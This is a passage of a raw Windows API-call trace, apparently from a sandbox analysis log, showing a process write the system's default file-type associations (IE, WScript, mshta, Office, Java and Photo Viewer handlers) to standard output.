	[0058.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Groove.SPFS.OneNoteStub=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE\" /OneNoteStub: \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Groove.SPFS.OneNoteStub=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE\" /OneNoteStub: \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0058.252] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x69, lpOverlapped=0x0) returned 1
	[0058.252] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.252] GetFileType (hFile=0x5c) returned 0x3
	[0058.252] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="group_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Group \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Group \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 72
	[0058.252] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x47, lpOverlapped=0x0) returned 1
	[0058.252] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.252] GetFileType (hFile=0x5c) returned 0x3
	[0058.252] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="grvOpen=C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE /TakeOffline: \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grvOpen=C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE /TakeOffline: \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.252] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.253] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.253] GetFileType (hFile=0x5c) returned 0x3
	[0058.253] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="hlpfile=%SystemRoot%\\winhlp32.exe %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hlpfile=%SystemRoot%\\winhlp32.exe %1\r\n", lpUsedDefaultChar=0x0) returned 39
	[0058.253] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x26, lpOverlapped=0x0) returned 1
	[0058.253] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.253] GetFileType (hFile=0x5c) returned 0x3
	[0058.253] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="htafile=C:\\Windows\\SysWOW64\\mshta.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htafile=C:\\Windows\\SysWOW64\\mshta.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 48
	[0058.254] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x2f, lpOverlapped=0x0) returned 1
	[0058.254] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.254] GetFileType (hFile=0x5c) returned 0x3
	[0058.254] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="htmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 75
	[0058.254] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4a, lpOverlapped=0x0) returned 1
	[0058.255] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.255] GetFileType (hFile=0x5c) returned 0x3
	[0058.255] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 71
	[0058.255] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x46, lpOverlapped=0x0) returned 1
	[0058.255] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.255] GetFileType (hFile=0x5c) returned 0x3
	[0058.255] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="https=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="https=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 72
	[0058.255] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x47, lpOverlapped=0x0) returned 1
	[0058.256] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.256] GetFileType (hFile=0x5c) returned 0x3
	[0058.256] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="icofile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icofile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 124
	[0058.256] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7b, lpOverlapped=0x0) returned 1
	[0058.256] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.256] GetFileType (hFile=0x5c) returned 0x3
	[0058.256] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.HTM=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.HTM=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.257] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.257] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.257] GetFileType (hFile=0x5c) returned 0x3
	[0058.257] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.MHT=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.MHT=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.257] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.257] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.257] GetFileType (hFile=0x5c) returned 0x3
	[0058.257] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.URL=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.URL=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", lpUsedDefaultChar=0x0) returned 99
	[0058.257] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x62, lpOverlapped=0x0) returned 1
	[0058.258] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.258] GetFileType (hFile=0x5c) returned 0x3
	[0058.258] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.FTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.FTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 68
	[0058.258] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x43, lpOverlapped=0x0) returned 1
	[0058.258] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.258] GetFileType (hFile=0x5c) returned 0x3
	[0058.258] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.HTTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.HTTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 74
	[0058.258] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x49, lpOverlapped=0x0) returned 1
	[0058.258] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.258] GetFileType (hFile=0x5c) returned 0x3
	[0058.258] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.HTTPS=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.HTTPS=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 75
	[0058.258] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4a, lpOverlapped=0x0) returned 1
	[0058.259] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.259] GetFileType (hFile=0x5c) returned 0x3
	[0058.259] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="im=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="im=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0058.259] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x42, lpOverlapped=0x0) returned 1
	[0058.259] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.259] GetFileType (hFile=0x5c) returned 0x3
	[0058.259] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="inffile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inffile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47
	[0058.259] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x2e, lpOverlapped=0x0) returned 1
	[0058.260] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.260] GetFileType (hFile=0x5c) returned 0x3
	[0058.260] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="inifile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inifile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47
	[0058.260] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x2e, lpOverlapped=0x0) returned 1
	[0058.260] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.260] GetFileType (hFile=0x5c) returned 0x3
	[0058.260] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InternetShortcut=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InternetShortcut=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", lpUsedDefaultChar=0x0) returned 99
	[0058.260] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x62, lpOverlapped=0x0) returned 1
	[0058.260] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.260] GetFileType (hFile=0x5c) returned 0x3
	[0058.261] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="iqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73
	[0058.261] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x48, lpOverlapped=0x0) returned 1
	[0058.261] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.261] GetFileType (hFile=0x5c) returned 0x3
	[0058.261] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jarfile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe\" -jar \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jarfile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe\" -jar \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 72
	[0058.261] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x47, lpOverlapped=0x0) returned 1
	[0058.261] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.261] GetFileType (hFile=0x5c) returned 0x3
	[0058.261] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JNLPFile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNLPFile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 66
	[0058.261] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x41, lpOverlapped=0x0) returned 1
	[0058.262] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.262] GetFileType (hFile=0x5c) returned 0x3
	[0058.262] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jntfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jntfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60
	[0058.262] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3b, lpOverlapped=0x0) returned 1
	[0058.262] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.262] GetFileType (hFile=0x5c) returned 0x3
	[0058.262] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 125
	[0058.262] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7c, lpOverlapped=0x0) returned 1
	[0058.262] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.262] GetFileType (hFile=0x5c) returned 0x3
	[0058.262] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JSEFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSEFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 50
	[0058.262] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x31, lpOverlapped=0x0) returned 1
	[0058.263] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.263] GetFileType (hFile=0x5c) returned 0x3
	[0058.263] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JSFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 49
	[0058.263] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x30, lpOverlapped=0x0) returned 1
	[0058.263] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.263] GetFileType (hFile=0x5c) returned 0x3
	[0058.263] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jtpfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jtpfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60
	[0058.263] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3b, lpOverlapped=0x0) returned 1
	[0058.264] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.264] GetFileType (hFile=0x5c) returned 0x3
	[0058.264] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="LDAP=\"%ProgramFiles%\\Windows Mail\\wab.exe\" \"/ldap:%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LDAP=\"%ProgramFiles%\\Windows Mail\\wab.exe\" \"/ldap:%1\"\r\n", lpUsedDefaultChar=0x0) returned 56
	[0058.264] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x37, lpOverlapped=0x0) returned 1
	[0058.264] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.264] GetFileType (hFile=0x5c) returned 0x3
	[0058.264] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Lync15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lync15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 71
	[0058.264] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x46, lpOverlapped=0x0) returned 1
	[0058.264] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.264] GetFileType (hFile=0x5c) returned 0x3
	[0058.264] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Lync15classic=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lync15classic=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 78
	[0058.264] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4d, lpOverlapped=0x0) returned 1
